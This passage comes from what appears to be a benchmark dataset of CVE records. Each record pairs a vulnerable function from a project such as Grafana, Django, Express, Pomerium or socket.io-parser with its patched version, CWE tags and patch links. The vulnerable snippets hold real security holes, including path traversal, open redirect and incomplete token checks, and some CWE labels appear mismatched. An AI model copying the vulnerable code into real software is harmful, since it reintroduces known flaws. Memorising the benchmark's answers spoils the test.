issued for Vela's own configured GitHub OAuth application can be injected into build environments, such as through a generated ~/.netrc file, and must not be reusable as bearer credentials against Vela's /authenticate/token-style authentication path. An attacker who can obtain or cause use of such injected Vela OAuth credentials could authenticate as the associated GitHub user and gain access to protected Vela resources or secrets.", "cwe_info": { "CWE-862": { "name": "Missing Authorization", "description": "The product does not perform an authorization check when an actor attempts to access a resource or perform an action." }, "CWE-639": { "name": "Authorization Bypass Through User-Controlled Key", "description": "The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data." } }, "repo": "https://github.com/go-vela/server", "patch_url": [ "https://github.com/go-vela/server/commit/cb4352918b8ecace9fe969b90404d337b0744d46" ], "programing_language": "Go", "vul_func": [ { "id": "vul_go_3_2", "commit": "5a3ffe3", "file_path": "source/github/authentication.go", "start_line": 105, "end_line": 122, "snippet": "func (c *client) AuthenticateToken(r *http.Request) (*library.User, error) {\n\tlogrus.Trace(\"Authenticating user via token\")\n\n\ttoken := r.Header.Get(\"Token\")\n\tif len(token) == 0 {\n\t\treturn nil, errors.New(\"no token provided\")\n\t}\n\n\tu, err := c.Authorize(token)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &library.User{\n\t\tName: &u,\n\t\tToken: &token,\n\t}, nil\n}", "vul_localization": [ { "patch_lines": [ 8 ], "tag": "add" } ] } ], "fix_func": [ { "id": "fix_go_3_1", "commit": "cb43529", "file_path": "source/github/authentication.go", "start_line": 7, "end_line": 20, "snippet": "import (\n\t\"context\"\n\t\"errors\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"strings\"\n\n\t\"github.com/go-vela/server/random\"\n\t\"github.com/go-vela/types/library\"\n\t\"github.com/google/go-github/v33/github\"\n\n\t\"github.com/sirupsen/logrus\"\n)" }, { "id": "fix_go_3_2", "commit": "cb43529", "file_path": "source/github/authentication.go", "start_line": 107, "end_line": 167, "snippet": "func (c *client) AuthenticateToken(r *http.Request) (*library.User, error) {\n\tlogrus.Trace(\"Authenticating user via token\")\n\n\ttoken := r.Header.Get(\"Token\")\n\tif len(token) == 0 {\n\t\treturn nil, errors.New(\"no token provided\")\n\t}\n\n\t// create http client to connect to GitHub\n\t//\n\t// nolint: lll // ignore long line length due to variable names\n\ttransport := github.BasicAuthTransport{Username: c.OConfig.ClientID, Password: c.OConfig.ClientSecret}\n\t// create client to connect to GitHub API\n\tclient := github.NewClient(transport.Client())\n\t// check if github url was set\n\tif c.URL != \"\" && c.URL != \"https://github.com\" {\n\t\t// check if address has trailing slash\n\t\tif !strings.HasSuffix(c.URL, \"/\") {\n\t\t\t// add trailing slash\n\t\t\tc.URL = c.URL + \"/api/v3/\"\n\t\t}\n\t\t// parse the provided url into url type\n\t\tenterpriseURL, err := url.Parse(c.URL)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\t// set the base and upload url\n\t\tclient.BaseURL = enterpriseURL\n\t\tclient.UploadURL = enterpriseURL\n\t}\n\t// check if the provided token was created by Vela\n\t_, resp, err := client.Authorizations.Check(context.Background(), c.OConfig.ClientID, token)\n\t// check if the error is of type ErrorResponse\n\tif gerr, ok := err.(*github.ErrorResponse); ok {\n\t\t// check the status code\n\t\tswitch gerr.Response.StatusCode {\n\t\t// 404 is expected when non vela token is used\n\t\tcase http.StatusNotFound:\n\t\t\tbreak\n\t\tdefault:\n\t\t\treturn nil, err\n\t\t}\n\t} else if err != nil {\n\t\treturn nil, err\n\t}\n\n\t// return error if the token was created by Vela\n\tif resp.StatusCode != http.StatusNotFound {\n\t\treturn nil, errors.New(\"token must not be created by vela\")\n\t}\n\n\tu, err := c.Authorize(token)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &library.User{\n\t\tName: &u,\n\t\tToken: &token,\n\t}, nil\n}" } ], "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2021-21432" }, { "cve_id": "CVE-2019-19499", "cve_description": "Grafana's MySQL data source setup builds a go-sql-driver/mysql connection string from administrator-configurable data source fields without sufficiently separating untrusted field values from DSN syntax. An authenticated user who can create or modify MySQL data source configurations can place DSN delimiters or parameters in fields such as the database name so that the resulting driver configuration enables unsafe local infile behavior, including options such as allowAllFiles. If this reaches the MySQL driver, later use of LOAD DATA LOCAL INFILE can bypass the driver's local file restrictions and allow arbitrary files on the Grafana server to be read.", "cwe_info": { "CWE-89": { "name": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "description": "The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data." } }, "repo": "https://github.com/grafana/grafana", "patch_url": [ "https://github.com/grafana/grafana/commit/19dbd27c5caa1a160bd5854b65a4e1fe2a8a4f00" ], "programing_language": "Go", "vul_func": [ { "id": "vul_go_30_1", "commit": "8cf75b4e75be0a3561c4ff1b1cfc884206b30745", "file_path": "pkg/tsdb/mysql/mysql.go", "start_line": 27, "end_line": 72, "snippet": "func newMysqlQueryEndpoint(datasource *models.DataSource) (tsdb.TsdbQueryEndpoint, error) {\n\tlogger := log.New(\"tsdb.mysql\")\n\n\tprotocol := \"tcp\"\n\tif strings.HasPrefix(datasource.Url, \"/\") {\n\t\tprotocol = \"unix\"\n\t}\n\tcnnstr := fmt.Sprintf(\"%s:%s@%s(%s)/%s?collation=utf8mb4_unicode_ci&parseTime=true&loc=UTC&allowNativePasswords=true\",\n\t\tdatasource.User,\n\t\tdatasource.DecryptedPassword(),\n\t\tprotocol,\n\t\tdatasource.Url,\n\t\tdatasource.Database,\n\t)\n\n\ttlsConfig, err := datasource.GetTLSConfig()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif tlsConfig.RootCAs != nil || len(tlsConfig.Certificates) > 0 {\n\t\ttlsConfigString := fmt.Sprintf(\"ds%d\", datasource.Id)\n\t\tif err := mysql.RegisterTLSConfig(tlsConfigString, tlsConfig); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tcnnstr += \"&tls=\" + tlsConfigString\n\t}\n\n\tif setting.Env == setting.DEV {\n\t\tlogger.Debug(\"getEngine\", \"connection\", cnnstr)\n\t}\n\n\tconfig := sqleng.SqlQueryEndpointConfiguration{\n\t\tDriverName: \"mysql\",\n\t\tConnectionString: cnnstr,\n\t\tDatasource: datasource,\n\t\tTimeColumnNames: []string{\"time\", \"time_sec\"},\n\t\tMetricColumnTypes: []string{\"CHAR\", \"VARCHAR\", \"TINYTEXT\", \"TEXT\", \"MEDIUMTEXT\", \"LONGTEXT\"},\n\t}\n\n\trowTransformer := mysqlQueryResultTransformer{\n\t\tlog: logger,\n\t}\n\n\treturn sqleng.NewSqlQueryEndpoint(&config, &rowTransformer, newMysqlMacroEngine(logger), logger)\n}", "vul_localization": [ { "patch_lines": [ 9, 10, 12, 13 ], "tag": "modify" } ] } ], "fix_func": [ { "id": "fix_go_30_1", "commit": "19dbd27c5caa1a160bd5854b65a4e1fe2a8a4f00", "file_path": "pkg/tsdb/mysql/mysql.go", "start_line": 31, "end_line": 77, "snippet": "func newMysqlQueryEndpoint(datasource *models.DataSource) (tsdb.TsdbQueryEndpoint, error) {\n\tlogger := log.New(\"tsdb.mysql\")\n\n\tprotocol := \"tcp\"\n\tif strings.HasPrefix(datasource.Url, \"/\") {\n\t\tprotocol = \"unix\"\n\t}\n\n\tcnnstr := fmt.Sprintf(\"%s:%s@%s(%s)/%s?collation=utf8mb4_unicode_ci&parseTime=true&loc=UTC&allowNativePasswords=true\",\n\t\tcharacterEscape(datasource.User, \":\"),\n\t\tcharacterEscape(datasource.DecryptedPassword(), \"@\"),\n\t\tprotocol,\n\t\tcharacterEscape(datasource.Url, \")\"),\n\t\tcharacterEscape(datasource.Database, \"?\"),\n\t)\n\n\ttlsConfig, err := datasource.GetTLSConfig()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif tlsConfig.RootCAs != nil || len(tlsConfig.Certificates) > 0 {\n\t\ttlsConfigString := fmt.Sprintf(\"ds%d\", datasource.Id)\n\t\tif err := mysql.RegisterTLSConfig(tlsConfigString, tlsConfig); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tcnnstr += \"&tls=\" + tlsConfigString\n\t}\n\n\tif setting.Env == setting.DEV {\n\t\tlogger.Debug(\"getEngine\", \"connection\", cnnstr)\n\t}\n\n\tconfig := sqleng.SqlQueryEndpointConfiguration{\n\t\tDriverName: \"mysql\",\n\t\tConnectionString: cnnstr,\n\t\tDatasource: datasource,\n\t\tTimeColumnNames: []string{\"time\", \"time_sec\"},\n\t\tMetricColumnTypes: []string{\"CHAR\", \"VARCHAR\", \"TINYTEXT\", \"TEXT\", \"MEDIUMTEXT\", \"LONGTEXT\"},\n\t}\n\n\trowTransformer := mysqlQueryResultTransformer{\n\t\tlog: logger,\n\t}\n\n\treturn sqleng.NewSqlQueryEndpoint(&config, &rowTransformer, newMysqlMacroEngine(logger), logger)\n}" }, { "id": "fix_go_30_2", "commit": "19dbd27c5caa1a160bd5854b65a4e1fe2a8a4f00", "file_path": "pkg/tsdb/mysql/mysql.go", "start_line": 27, "end_line": 30, "snippet": "func characterEscape(s string, escapeChar string) string {\n\treturn strings.Replace(s, escapeChar, url.QueryEscape(escapeChar), -1)\n}\n" } ], "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2019-19499" }, { "cve_id": "CVE-2021-3281", "cve_description": "In Django 2.2 before 2.2.18, 3.0 before 3.0.12, and 3.1 before 3.1.6, the django.utils.archive.extract method (used by \"startapp --template\" and \"startproject --template\") allows directory traversal via an archive with absolute paths or relative paths with dot segments.", "cwe_info": { "CWE-73": { "name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations." }, "CWE-22": { "name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory." } }, "repo": "https://github.com/django/django", "patch_url": [ "https://github.com/django/django/commit/52e409ed17287e9aabda847b6afe58be2fa9f86a", "https://github.com/django/django/commit/05413afa8c18cdb978fcdf470e09f7a12b234a23", "https://github.com/django/django/commit/02e6592835b4559909aa3aaaf67988fef435f624", "https://github.com/django/django/commit/21e7622dec1f8612c85c2fc37fe8efbfd3311e37" ], "programing_language": "Python", "vul_func": [ { "id": "vul_py_9_1", "commit": "03a8678", "file_path": "django/utils/archive.py", "start_line": 151, "end_line": 179, "snippet": " def extract(self, to_path):\n members = self._archive.getmembers()\n leading = self.has_leading_dir(x.name for x in members)\n for member in members:\n name = member.name\n if leading:\n name = self.split_leading_dir(name)[1]\n filename = os.path.join(to_path, name)\n if member.isdir():\n if filename:\n os.makedirs(filename, exist_ok=True)\n else:\n try:\n extracted = self._archive.extractfile(member)\n except (KeyError, AttributeError) as exc:\n # Some corrupt tar files seem to produce this\n # (specifically bad symlinks)\n print(\"In the tar file %s the member %s is invalid: %s\" %\n (name, member.name, exc))\n else:\n dirname = os.path.dirname(filename)\n if dirname:\n os.makedirs(dirname, exist_ok=True)\n with open(filename, 'wb') as outfile:\n shutil.copyfileobj(extracted, outfile)\n self._copy_permissions(member.mode, filename)\n finally:\n if extracted:\n extracted.close()", "vul_localization": [ { "patch_lines": [ 8 ], "tag": "modify" } ] }, { "id": "vul_py_9_2", "commit": "03a8678", "file_path": "django/utils/archive.py", "start_line": 193, "end_line": 213, "snippet": " def extract(self, to_path):\n namelist = self._archive.namelist()\n leading = self.has_leading_dir(namelist)\n for name in namelist:\n data = self._archive.read(name)\n info = self._archive.getinfo(name)\n if leading:\n name = self.split_leading_dir(name)[1]\n filename = os.path.join(to_path, name)\n if filename.endswith(('/', '\\\\')):\n # A directory\n os.makedirs(filename, exist_ok=True)\n else:\n dirname = os.path.dirname(filename)\n if dirname:\n os.makedirs(dirname, exist_ok=True)\n with open(filename, 'wb') as outfile:\n outfile.write(data)\n # Convert ZipInfo.external_attr to mode\n mode = info.external_attr >> 16\n self._copy_permissions(mode, filename)", "vul_localization": [ { "patch_lines": [ 9, 10 ], "tag": "modify" } ] } ], "fix_func": [ { "id": "fix_py_9_1", "commit": "02e6592", "file_path": "django/utils/archive.py", "start_line": 160, "end_line": 188, "snippet": " def extract(self, to_path):\n members = self._archive.getmembers()\n leading = self.has_leading_dir(x.name for x in members)\n for member in members:\n name = member.name\n if leading:\n name = self.split_leading_dir(name)[1]\n filename = self.target_filename(to_path, name)\n if member.isdir():\n if filename:\n os.makedirs(filename, exist_ok=True)\n else:\n try:\n extracted = self._archive.extractfile(member)\n except (KeyError, AttributeError) as exc:\n # Some corrupt tar files seem to produce this\n # (specifically bad symlinks)\n print(\"In the tar file %s the member %s is invalid: %s\" %\n (name, member.name, exc))\n else:\n dirname = os.path.dirname(filename)\n if dirname:\n os.makedirs(dirname, exist_ok=True)\n with open(filename, 'wb') as outfile:\n shutil.copyfileobj(extracted, outfile)\n self._copy_permissions(member.mode, filename)\n finally:\n if extracted:\n extracted.close()" }, { "id": "fix_py_9_2", "commit": "02e6592", "file_path": "django/utils/archive.py", "start_line": 202, "end_line": 224, "snippet": " def extract(self, to_path):\n namelist = self._archive.namelist()\n leading = self.has_leading_dir(namelist)\n for name in namelist:\n data = self._archive.read(name)\n info = self._archive.getinfo(name)\n if leading:\n name = self.split_leading_dir(name)[1]\n if not name:\n continue\n filename = self.target_filename(to_path, name)\n if name.endswith(('/', '\\\\')):\n # A directory\n os.makedirs(filename, exist_ok=True)\n else:\n dirname = os.path.dirname(filename)\n if dirname:\n os.makedirs(dirname, exist_ok=True)\n with open(filename, 'wb') as outfile:\n outfile.write(data)\n # Convert ZipInfo.external_attr to mode\n mode = info.external_attr >> 16\n self._copy_permissions(mode, filename)" }, { "id": "fix_py_9_3", "commit": "02e6592", "file_path": "django/utils/archive.py", "start_line": 138, "end_line": 143, "snippet": " def target_filename(self, to_path, name):\n target_path = os.path.abspath(to_path)\n filename = os.path.abspath(os.path.join(target_path, name))\n if not filename.startswith(target_path):\n raise SuspiciousOperation(\"Archive contains invalid path: '%s'\" % name)\n return filename" } ], "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2021-3281" }, { "cve_id": "CVE-2024-47616", "cve_description": "Pomerium is an identity and context-aware access proxy. The Pomerium databroker service is responsible for managing all persistent Pomerium application state. Requests to the databroker service API are authorized by the presence of a JSON Web Token (JWT) signed by a key known by all Pomerium services in the same deployment. However, incomplete validation of this JWT meant that some service account access tokens would incorrectly be treated as valid for the purpose of databroker API authorization. Improper access to the databroker API could allow exfiltration of user info, spoofing of user sessions, or tampering with Pomerium routes, policies, and other settings. A Pomerium deployment is susceptible to this issue if all of the following conditions are met, you have issued a service account access token using Pomerium Zero or Pomerium Enterprise, the access token has an explicit expiration date in the future, and the core Pomerium databroker gRPC API is not otherwise secured by network access controls. This vulnerability is fixed in 0.27.1.", "cwe_info": { "CWE-863": { "name": "Incorrect Authorization", "description": "The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check." } }, "repo": "https://github.com/pomerium/pomerium", "patch_url": [ "https://github.com/pomerium/pomerium/commit/e018cf0fc0979d2abe25ff705db019feb7523444" ], "programing_language": "Go", "vul_func": [ { "id": "vul_go_72_1", "commit": "61847b1", "file_path": "pkg/grpcutil/options.go", "start_line": 88, "end_line": 113, "snippet": "func RequireSignedJWT(ctx context.Context, key []byte) error {\n\tif len(key) > 0 {\n\t\trawjwt, ok := JWTFromGRPCRequest(ctx)\n\t\tif !ok {\n\t\t\treturn status.Error(codes.Unauthenticated, \"unauthenticated\")\n\t\t}\n\n\t\ttok, err := jwt.ParseSigned(rawjwt)\n\t\tif err != nil {\n\t\t\treturn status.Errorf(codes.Unauthenticated, \"invalid JWT: %v\", err)\n\t\t}\n\n\t\tvar claims struct {\n\t\t\tExpiry *jwt.NumericDate `json:\"exp,omitempty\"`\n\t\t}\n\t\terr = tok.Claims(key, &claims)\n\t\tif err != nil {\n\t\t\treturn status.Errorf(codes.Unauthenticated, \"invalid JWT: %v\", err)\n\t\t}\n\n\t\tif claims.Expiry == nil || time.Now().After(claims.Expiry.Time()) {\n\t\t\treturn status.Errorf(codes.Unauthenticated, \"expired JWT: %v\", err)\n\t\t}\n\t}\n\treturn nil\n}", "vul_localization": [ { "patch_lines": [ 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23 ], "tag": "modify" } ] } ], "fix_func": [ { "id": "fix_go_72_1", "commit": "e018cf0fc0979d2abe25ff705db019feb7523444", "file_path": "pkg/grpcutil/options.go", "start_line": 90, "end_line": 103, "snippet": "func RequireSignedJWT(ctx context.Context, key []byte) error {\n\tif len(key) > 0 {\n\t\trawjwt, ok := JWTFromGRPCRequest(ctx)\n\t\tif !ok {\n\t\t\treturn status.Error(codes.Unauthenticated, \"unauthenticated\")\n\t\t}\n\n\t\tif err := validateJWT(rawjwt, key); err != nil {\n\t\t\tlog.Ctx(ctx).Debug().Err(err).Msg(\"rejected gRPC request due to invalid JWT\")\n\t\t\treturn status.Error(codes.Unauthenticated, \"invalid JWT\")\n\t\t}\n\t}\n\treturn nil\n}" }, { "id": "fix_go_72_2", "commit": "e018cf0fc0979d2abe25ff705db019feb7523444", "file_path": "pkg/grpcutil/options.go", "start_line": 105, "end_line": 123, "snippet": "func validateJWT(rawjwt string, key []byte) error {\n\ttok, err := jwt.ParseSigned(rawjwt)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tvar claims map[string]*jwt.NumericDate\n\terr = tok.Claims(key, &claims)\n\tif err != nil {\n\t\treturn err\n\t} else if len(claims) != 1 || claims[\"exp\"] == nil {\n\t\treturn fmt.Errorf(\"expected exactly one claim (exp)\")\n\t}\n\n\tif t := claims[\"exp\"].Time(); time.Now().After(t) {\n\t\treturn fmt.Errorf(\"JWT expired at %s\", t.Format(time.DateTime))\n\t}\n\treturn nil\n}" } ], "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2024-47616" }, { "cve_id": "CVE-2024-29041", "cve_description": "Express.js minimalist web framework for node. Versions of Express.js prior to 4.19.0 and all pre-release alpha and beta versions of 5.0 are affected by an open redirect vulnerability using malformed URLs. When a user of Express performs a redirect using a user-provided URL Express performs an encode [using `encodeurl`](https://github.com/pillarjs/encodeurl) on the contents before passing it to the `location` header. This can cause malformed URLs to be evaluated in unexpected ways by common redirect allow list implementations in Express applications, leading to an Open Redirect via bypass of a properly implemented allow list. The main method impacted is `res.location()` but this is also called from within `res.redirect()`. The vulnerability is fixed in 4.19.2 and 5.0.0-beta.3.", "cwe_info": { "CWE-601": { "name": "URL Redirection to Untrusted Site ('Open Redirect')", "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect." } }, "repo": "https://github.com/expressjs/express", "patch_url": [ "https://github.com/expressjs/express/commit/0b746953c4bd8e377123527db11f9cd866e39f94", "https://github.com/expressjs/express/commit/0867302ddbde0e9463d0564fea5861feb708c2dd" ], "programing_language": "JavaScript", "vul_func": [ { "id": "vul_js_49_1", "commit": "567c9c6", "file_path": "lib/response.js", "start_line": 906, "end_line": 914, "snippet": "res.location = function location(url) {\n var loc = url;\n\n // \"back\" is an alias for the referrer\n if (url === 'back') {\n loc = this.req.get('Referrer') || '/';\n }\n\n // set location", "vul_localization": [ { "patch_lines": [ 10 ], "tag": "modify" } ] } ], "fix_func": [ { "id": "fix_js_49_1", "commit": "0867302ddbde0e9463d0564fea5861feb708c2dd", "file_path": "lib/response.js", "start_line": 907, "end_line": 934, "snippet": "res.location = function location(url) {\n var loc = url;\n\n // \"back\" is an alias for the referrer\n if (url === 'back') {\n loc = this.req.get('Referrer') || '/';\n }\n\n var lowerLoc = loc.toLowerCase();\n var encodedUrl = encodeUrl(loc);\n if (lowerLoc.indexOf('https://') === 0 || lowerLoc.indexOf('http://') === 0) {\n try {\n var parsedUrl = urlParse(loc);\n var parsedEncodedUrl = urlParse(encodedUrl);\n // Because this can encode the host, check that we did not change the host\n if (parsedUrl.host !== parsedEncodedUrl.host) {\n // If the host changes after encodeUrl, return the original url\n return this.set('Location', loc);\n }\n } catch (e) {\n // If parse fails, return the original url\n return this.set('Location', loc);\n }\n }\n\n // set location\n return this.set('Location', encodedUrl);\n};" } ], "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2024-29041" }, { "cve_id": "CVE-2021-22538", "cve_description": "A privilege escalation vulnerability impacting the Google Exposure Notification Verification Server (versions prior to 0.23.1), allows an attacker who (1) has UserWrite permissions and (2) is using a carefully crafted request or malicious proxy, to create another user with higher privileges than their own. This occurs due to insufficient checks on the allowed set of permissions. The new user creation event would be captured in the Event Log.", "cwe_info": { "CWE-276": { "name": "Incorrect Default Permissions", "description": "During installation, installed file permissions are set to allow anyone to modify those files." } }, "repo": "https://github.com/google/exposure-notifications-verification-server", "patch_url": [ "https://github.com/google/exposure-notifications-verification-server/commit/eb8cf40b12dbe79304f1133c06fb73419383cd95" ], "programing_language": "Go", "vul_func": [ { "id": "vul_go_50_1", "commit": "3d28d0ba00c12a9d54cd7737dd5000d04fbf6e4e", "file_path": "pkg/rbac/rbac.go", "start_line": 64, "end_line": 80, "snippet": "func CompileAndAuthorize(actorPermission Permission, toUpdate []Permission) (Permission, error) {\n\tvar permission Permission\n\tfor _, update := range toUpdate {\n\t\t// Verify that the user making changes has the permissions they are trying\n\t\t// to grant. It is not valid for someone to grant permissions larger than\n\t\t// they currently have.\n\t\tif !Can(actorPermission, update) {\n\t\t\treturn 0, fmt.Errorf(\"actor does not have all scopes which are being granted\")\n\t\t}\n\t\tpermission = permission | update\n\t}\n\n\t// Ensure implied permissions. The actor must also have the implied\n\t// permissions by definition.\n\tpermission = AddImplied(permission)\n\treturn permission, nil\n}", "vul_localization": [ { "patch_lines": [ 3 ], "tag": "add" } ] } ], "fix_func": [ { "id": "fix_go_50_1", "commit": "eb8cf40b12dbe79304f1133c06fb73419383cd95", "file_path": "pkg/rbac/rbac.go", "start_line": 64, "end_line": 90, "snippet": "func CompileAndAuthorize(actorPermission Permission, toUpdate []Permission) (Permission, error) {\n\tvar permission Permission\n\tfor _, update := range toUpdate {\n\t\t// Verify the provided permission is a known permission. This prevents a\n\t\t// security vulnerability whereby a carefully crafted request is able to\n\t\t// provide a value that correctly passes an the bitwise AND check and then\n\t\t// modifies the target permission using OR to escalate privilege.\n\t\tif _, ok := PermissionMap[update]; !ok {\n\t\t\tif update != LegacyRealmAdmin && update != LegacyRealmUser {\n\t\t\t\treturn 0, fmt.Errorf(\"provided permission %v is unknown\", update)\n\t\t\t}\n\t\t}\n\n\t\t// Verify that the user making changes has the permissions they are trying\n\t\t// to grant. It is not valid for someone to grant permissions larger than\n\t\t// they currently have.\n\t\tif !Can(actorPermission, update) {\n\t\t\treturn 0, fmt.Errorf(\"actor does not have all scopes which are being granted\")\n\t\t}\n\t\tpermission = permission | update\n\t}\n\n\t// Ensure implied permissions. The actor must also have the implied\n\t// permissions by definition.\n\tpermission = AddImplied(permission)\n\treturn permission, nil\n}" } ], "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2021-22538" }, { "cve_id": "CVE-2017-16025", "cve_description": "Nes is a websocket extension library for hapi. Hapi is a webserver framework. Versions below and including 6.4.0 have a denial of service vulnerability via an invalid Cookie header. This is only present when websocket authentication is set to `cookie`. Submitting an invalid cookie on the websocket upgrade request will cause the node process to error out.", "cwe_info": { "CWE-287": { "name": "Improper Authentication", "description": "When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct." } }, "repo": "https://github.com/hapijs/nes", "patch_url": [ "https://github.com/hapijs/nes/commit/249ba1755ed6977fbc208463c87364bf884ad655" ], "programing_language": "JavaScript", "vul_func": [ { "id": "vul_js_59_1", "commit": "71e9232", "file_path": "lib/socket.js", "start_line": 524, "end_line": 547, "snippet": "internals.Socket.prototype._authenticate = function () {\n\n const config = this._listener._settings.auth;\n if (!config) {\n return;\n }\n\n if (config.timeout) {\n this.auth._timeout = setTimeout(() => this.disconnect(), config.timeout);\n }\n\n const cookies = this._ws.upgradeReq.headers.cookie;\n if (!cookies) {\n return;\n }\n\n this._listener._connection.states.parse(cookies, (ignoreErr, state, failed) => {\n\n const auth = state[config.cookie];\n if (auth) {\n this.auth._error = this._setCredentials(auth.credentials, auth.artifacts);\n }\n });\n};", "vul_localization": [ { "patch_lines": [ 17 ], "tag": "modify" } ] } ], "fix_func": [ { "id": "fix_js_59_1", "commit": "249ba1755ed6977fbc208463c87364bf884ad655", "file_path": "lib/socket.js", "start_line": 524, "end_line": 562, "snippet": "internals.Socket.prototype._authenticate = function () {\n\n const config = this._listener._settings.auth;\n if (!config) {\n return;\n }\n\n if (config.timeout) {\n this.auth._timeout = setTimeout(() => this.disconnect(), config.timeout);\n }\n\n const cookies = this._ws.upgradeReq.headers.cookie;\n if (!cookies) {\n return;\n }\n\n this._listener._connection.states.parse(cookies, (err, state, failed) => {\n\n if (err) {\n this.auth._error = Boom.unauthorized('Invalid nes authentication cookie');\n return;\n }\n\n const auth = state[config.cookie];\n if (auth) {\n this.auth._error = this._setCredentials(auth.credentials, auth.artifacts);\n }\n });\n};\n\n\ninternals.Socket.prototype._setCredentials = function (credentials, artifacts) {\n\n this.auth.isAuthenticated = true;\n this.auth.credentials = credentials;\n this.auth.artifacts = artifacts;\n\n return this._listener._sockets.auth(this);\n};" } ], "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2017-16025" }, { "cve_id": "CVE-2022-2421", "cve_description": "Socket.IO parser's binary attachment reconstruction trusts placeholder metadata supplied in encoded packets. When decoding a binary event or acknowledgement, a remote peer can provide a malformed placeholder object with a truthy non-boolean `_placeholder` value or a `num` value that is not a valid attachment index, such as a string naming an inherited Array property or another invalid index. The reconstruction logic may then index the attachment buffer array with attacker-controlled metadata and insert a function object or other non-attachment reference into the decoded packet payload instead of an actual binary attachment. This can expose application code to attacker-controlled unexpected values in event data and cause type confusion or unsafe downstream behavior.", "cwe_info": { "CWE-89": { "name": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "description": "The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data." } }, "repo": "https://github.com/socketio/socket.io-parser", "patch_url": [ "https://github.com/socketio/socket.io-parser/commit/b559f050ee02bd90bd853b9823f8de7fa94a80d4", "https://github.com/socketio/socket.io-parser/commit/04d23cecafe1b859fb03e0cbf6ba3b74dff56d14", "https://github.com/socketio/socket.io-parser/commit/b5d0cb7dc56a0601a09b056beaeeb0e43b160050", "https://github.com/socketio/socket.io-parser/commit/fb21e422fc193b34347395a33e0f625bebc09983" ], "programing_language": "JavaScript", "vul_func": [ { "id": "vul_js_30_1", "commit": "6a59237ed03f91e507e954333d63d19f3db534c6", "file_path": "binary.js", "start_line": 70, "end_line": 86, "snippet": "function _reconstructPacket(data, buffers) {\n if (!data) return data;\n\n if (data && data._placeholder) {\n return buffers[data.num]; // appropriate buffer (should be natural order anyway)\n } else if (isArray(data)) {\n for (var i = 0; i < data.length; i++) {\n data[i] = _reconstructPacket(data[i], buffers);\n }\n } else if (typeof data === 'object') {\n for (var key in data) {\n data[key] = _reconstructPacket(data[key], buffers);\n }\n }\n\n return data;\n}", "vul_localization": [ { "patch_lines": [ 4, 5 ], "tag": "modify" } ] } ], "fix_func": [ { "id": "fix_js_30_1", "commit": "04d23cecafe1b859fb03e0cbf6ba3b74dff56d14", "file_path": "binary.js", "start_line": 70, "end_line": 94, "snippet": "function _reconstructPacket(data, buffers) {\n if (!data) return data;\n\n if (data && data._placeholder === true) {\n var isIndexValid =\n typeof data.num === \"number\" &&\n data.num >= 0 &&\n data.num < buffers.length;\n if (isIndexValid) {\n return buffers[data.num]; // appropriate buffer (should be natural order anyway)\n } else {\n throw new Error(\"illegal attachments\");\n }\n } else if (isArray(data)) {\n for (var i = 0; i < data.length; i++) {\n data[i] = _reconstructPacket(data[i], buffers);\n }\n } else if (typeof data === 'object') {\n for (var key in data) {\n data[key] = _reconstructPacket(data[key], buffers);\n }\n }\n\n return data;\n}" } ], "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2022-2421" }, { "cve_id": "CVE-2019-10856", "cve_description": "Jupyter Notebook's login redirect handling is vulnerable to an open redirect when processing the attacker-controlled next parameter. The handler attempts to allow local redirects under the configured base_url, but URL parsing can treat certain absolute-looking inputs as having an empty netloc even though browsers may interpret them as external or non-local destinations. An attacker who can cause a user to visit or submit the login flow with such a crafted next value could make the server emit a Location header that sends the user's browser away from the Notebook application, enabling phishing or other redirect-based attacks.", "cwe_info": { "CWE-601": { "name": "URL Redirection to Untrusted Site ('Open Redirect')", "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect." } }, "repo": "https://github.com/jupyter/notebook", "patch_url": [ "https://github.com/jupyter/notebook/commit/979e0bd15e794ceb00cc63737fcd5fd9addc4a99" ], "programing_language": "Python", "vul_func": [ { "id": "vul_py_46_1", "commit": "16cf97c", "file_path": "notebook/auth/login.py", "start_line": 33, "end_line": 63, "snippet": " def _redirect_safe(self, url, default=None):\n \"\"\"Redirect if url is on our PATH\n\n Full-domain redirects are allowed if they pass our CORS origin checks.\n\n Otherwise use default (self.base_url if unspecified).\n \"\"\"\n if default is None:\n default = self.base_url\n # protect chrome users from mishandling unescaped backslashes.\n # \\ is not 